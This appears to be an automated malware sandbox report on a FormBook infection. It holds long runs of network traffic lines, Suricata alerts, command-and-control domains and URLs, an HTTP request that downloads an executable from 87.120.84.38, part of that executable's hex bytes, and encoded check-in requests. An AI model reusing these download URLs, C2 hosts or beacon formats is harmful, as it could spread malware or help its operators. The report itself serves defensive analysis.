Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 192.168.2.22:49163 -> 87.120.84.38:80
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163
Source: global traffic TCP traffic: 87.120.84.38:80 -> 192.168.2.22:49163

Networking
barindex
Suricata IDS alerts for network traffic
Source: Network traffic Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.22:49164 -> 13.248.213.45:80
Source: Network traffic Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.22:49164 -> 13.248.213.45:80
Source: Network traffic Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.22:49164 -> 13.248.213.45:80
Source: Network traffic Suricata IDS: 2031412 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.22:49165 -> 68.66.226.117:80
Source: Network traffic Suricata IDS: 2031449 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.22:49165 -> 68.66.226.117:80
Source: Network traffic Suricata IDS: 2031453 - Severity 1 - ET MALWARE FormBook CnC Checkin (GET) : 192.168.2.22:49165 -> 68.66.226.117:80
Source: Network traffic Suricata IDS: 2022050 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1 : 87.120.84.38:80 -> 192.168.2.22:49163
Source: Network traffic Suricata IDS: 2022051 - Severity 1 - ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2 : 87.120.84.38:80 -> 192.168.2.22:49163
Source: Network traffic Suricata IDS: 2827449 - Severity 1 - ETPRO EXPLOIT Adobe EMF File Memory Corrpution Vulnerability Inbound (CVE-2017-3123) : 87.120.84.38:80 -> 192.168.2.22:49163
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\explorer.exe Domain query: www.launchyouglobal.com
Source: C:\Windows\explorer.exe Domain query: www.ko-or-a-news.com
Source: C:\Windows\explorer.exe Network Connect: 68.66.226.117 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.affirmationtotebags.com
Source: C:\Windows\explorer.exe Domain query: www.education2jobs.com
Source: C:\Windows\explorer.exe Domain query: www.thecareskin.com
Source: C:\Windows\explorer.exe Domain query: www.opmk.monster
Source: C:\Windows\explorer.exe Network Connect: 13.248.213.45 80 Jump to behavior
Source: C:\Windows\explorer.exe Domain query: www.mbbwa4wp.cfd
Source: C:\Windows\explorer.exe Domain query: www.fcno30.com
Source: C:\Windows\explorer.exe Domain query: www.lifeofthobes.uk
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: www.lifeofthobes.uk/btrd/
Downloads executable code via HTTP
Source: global traffic HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.26.2Date: Wed, 30 Oct 2024 07:37:29 GMTContent-Type: application/x-msdos-programContent-Length: 662016Connection: keep-aliveLast-Modified: Wed, 30 Oct 2024 02:32:29 GMTETag: "a1a00-625a88369ea83"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 64 9a 21 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 fe 09 00 00 1a 00 00 00 00 00 00 e2 1d 0a 00 00 20 00 00 00 20 0a 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 0a 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 90 1d 0a 00 4f 00 00 00 00 20 0a 00 20 17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0a 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e8 fd 09 00 00 20 00 00 00 fe 09 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 17 00 00 00 20 0a 00 00 18 00 00 00 00 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 0a 00 00 02 00 00 00 18 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c4 1d 0a 00 00 00 00 00 48 00 00 00 02 00 05 00 0c 71 00 00 c4 67 00 00 03 00 00 00 81 00 00 06 d0 d8 00 00 c0 44 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 01 00 12 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 28 17 00 00 0a 0a 2b 00 06 2a 00 00 13 30 02 00 13 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 28 18 00 00 0a 0a 2b 00 06 2a 00 13 30 03 00 14 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 28 19 00 00 0a 0a 2b 00 06 2a 13 30 04 00 15 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 28 1a 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 05 00 17 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 0e 04 28 1b 00 00 0a 0a 2b 00 06 2a 00 13 30 06 00 19 00 00 00 01 00 00 11 00 28 18 00 00 06 00 02 03 04 05 0e 04 0e 05 28 1c 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 02 00 19 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 28 1d 00 00 0a 0a 2b 00 06 2a 00 00 00 13 30 03 00 1a 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 04 28 1e 00 00 0a 0a 2b 00 06 2a 00 00 13 30 04 00 1b 00 00 00 01 00 00 11 00 02 80 01 00 00 04 28 18 00 00 06 00 02 03 04 05
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /btrd/?dnpxPL=MPO8Ot&NPY8=AbeIgGnzBU83HSXrQkpvN+QaXMHa/Smw3FQvIGYyvMJrWwYzMis5HD6DdthggtUmTF7mFQ== HTTP/1.1Host: www.thecareskin.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
Source: global traffic HTTP traffic detected: GET /btrd/?NPY8=Aqp/nEdW5fSRgBppOcSBDZbXY4IaYVD9lzqE2utQjmbccywWz39dK6w1iF5Po1lTCoAGbA==&dnpxPL=MPO8Ot HTTP/1.1Host: www.fcno30.comConnection: closeData Raw: 00 00 00 00 00 00 00 Data Ascii:
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 13.248.213.45 13.248.213.45
Source: Joe Sandbox View IP Address: 87.120.84.38 87.120.84.38
Source: Joe Sandbox View IP Address: 68.66.226.117 68.66.226.117
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: AMAZON-02US AMAZON-02US
Source: Joe Sandbox View ASN Name: SHARCOM-ASBG SHARCOM-ASBG
Source: Joe Sandbox View ASN Name: A2HOSTINGUS A2HOSTINGUS
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: GET /txt/4q0pGnqqpgTTSL7.exe HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 87.120.84.38Connection: Keep-Alive
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
Source: unknown TCP traffic detected without corresponding DNS query: 87.120.84.38
